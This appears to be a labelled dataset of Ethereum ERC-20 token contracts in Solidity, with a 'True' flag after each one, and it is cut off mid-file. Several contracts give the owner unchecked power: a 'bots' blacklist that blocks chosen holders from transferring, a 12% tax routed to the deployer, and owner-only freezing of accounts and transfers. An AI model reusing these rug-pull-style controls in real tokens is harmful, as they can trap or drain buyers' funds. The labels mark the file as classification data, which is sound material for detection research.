return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
// SPDX-License-Identifier: UNLICENSE
/**
Investing in the revolution
Supply: 4000000
Max TX: 40000
Tax: 12%
TG: https://t.me/invcult
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InvCult is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 4000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Inverted Cult";
string private constant _symbol = "INVCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(0x0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 5;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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pragma solidity ^0.4.25;
/*
* Creator: POSH (GOPOSH)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* GOPOSH smart contract.
*/
contract POSHToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 8000000 * (10**2);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "GOPOSH";
string constant public symbol = "POSH";
uint8 constant public decimals = 2;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
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pragma solidity ^0.5.16;
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-20
*/
// t.me/MemeLordEther
// TAX 20% TOTAL ROUND TRIP
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() external virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function startTrading() external virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
